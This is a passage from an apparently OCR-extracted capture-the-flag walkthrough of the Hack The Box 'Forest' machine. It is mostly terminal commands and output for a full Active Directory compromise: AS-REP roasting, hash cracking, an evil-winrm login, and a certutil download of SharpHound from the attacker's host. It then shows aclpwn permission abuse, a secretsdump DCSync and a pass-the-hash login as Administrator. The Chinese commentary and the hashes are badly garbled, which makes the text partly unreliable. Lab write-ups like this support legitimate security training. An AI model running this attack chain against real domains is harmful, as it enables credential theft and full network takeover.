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root@kali:~/HTB/Forest

/HTB/Forest# enumd4linux -a 10.10.10.161 > user.txt
uninitiali value obal wor 0 in concatenation (.} or string at ./enumd4linux.pl
uninitiali value $global workgro in concatenation (.) o ring at numdlinux.pl

uninitiali value "0 in concatenation (.} ring at
uninitiali val bal workgro in concatenation (.) o ring at
uninitializ value $os info in concatenation (.) or string at ./enum4linux.pl line 464.
uninitiali value obal wor oup in concatenation (.} or string at ./enumd4linux.pl
uninitiali value obal workgroup in concatenation (.) o ring at numd4linux.pl
uninitialized wvalue obal wor oup in concatenation (.) or string at ./enum4linux.pl
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root@kali:~/HTB/Forest$ cat user.txt | awk -F $1 userlist.txt
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root@kali:~/HTB/Forest$ python imapchet-tools/examples/GetNPUsers.py htb.local/ -usersfile userlist.txt -format
john -outputfile hashed -dc-ip 10.10.10.161

htb.local iXf&H&ATMnmapii i FEEHI 4
-usersfile XALATE M Kuserfile. txth /7413, HAIFEenumdlinuxid it rhFRELHA 2H 4138
-format john WE Njohn#sa, K UILFRATAT CAERFA L A

-outputfile hashed Y4Wa#{R{F{Ehashed 3+
-dc-ip H#EHLAIPHLLE

serlist.txt -format ha at -outputfile h -dc-ip 10.10.10.161
et v0.9.21.
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root@kali:~/HTB/Forest$ john --wordlist=/us hare/worli ockyou.txt
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john --wordlis ordlis ockyou. txt

fault input -
1 pa ord hash ( rber A e = 23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHAl AES 25
'gq' or Ctrl-C to g =
00-00-04 10. ( 4: ) E 423014 423014 23014C/s jaendana..jaemarie

00:09 DONE 4:12) 0.1€ 4 8 23389C/s s3slk2..s3rjlz
g 0 reliably

AR 2 )5 FAT1 % B 249 Ay s3rvice.

(WinRM) & —FhMicrosoftifpil, o HSOAPEIIHTTP (S) A2 HWindowsit & Hl. 7£)5u, ©FFHWMI, Kt bl
B HAAWMIF S THTTPIJAPI.
T Windows R (WinRM) F5985 |- L& 5, ik 3418 Fevil-winrm T 2 328 7 .

root@kali:~/HTB/Forest$ gem install evil-winrm
root@kali:~/HTB/Forest$ evil-winrm -i 10.10.10.161 -u svc-aflresco -p s3rvice

inrm -1 10.10.10.161 -u svc-alfr
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root@kali:~/HTB/Forest$ apt install bloodhound

PS C:\> net grous

Zdn A HnIE A P N Lsve-alfrescoif =k T 7. M5 BN RTEA LR H G326 . Exchange Windows Permissions

svc-alfresco Exchange Windows Permissions
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root@kali:~/HTB/Forest$ git clone https://github.com/BloodHoundAD/BloodHound.git

dHoundAD/B
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] elta 10), pack-reused 6355
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root@kali:~/HTB/Forest/BloodHound/Ingestors

:~/HTB/Forest/forest/BloodHound/Ingestors# python -m SimpleHTTPServer 86

ving HTTP on 0.0.0.0 port 80
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PS C:\ certutil.exe -urlcache -split -f http://10.10.14.45/SharpHound.exe SharpHound.exe

PS C:\ ./SharpHound.exe




-urlcache -split -f http://10.10.
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root@kali:~/HTB/Forest$ neo4j console bloodhound

root@kali:~/HTB/Forest$ bloodhound
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http://localhost:7474/
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root@kali:~/HTB/Forest$ pip install aclpwn

root@kali:~/HTB/Forest$ aclpwn -f svc-alfresco -ft user -d htb.local -du neo4j -dp 311311 -sp s3rvice -s 10.10.1
0.161
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root@kali:~/HTB/Forest$ python impacket-tools/examples/secretsdump.py htb.local/svc-alfresco:s3rvice@l0.10.10.16
1

).10.10.161

t NTDS secrets

0 ge 5
@ad3b435b51404eeaad3b435b51404ee:32693b1l1leb6aa90eb43d32c72a07ceeab: : :
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o i Fevil-winrm& st Administrator

root@kali:~/HTB/Forest$ evil-winrm -i 10.10.10.161 -u Administrator -H 32693blle6aa9@eb43d32c72a07ceeab
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:~/HTB/Forest# evil-winrm -i 10.10.10.161 -u Administrator -H

Directory: C:\Users\Administrator\Desktop

LastWriteTime Length Name

root.txt
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| got Root~!
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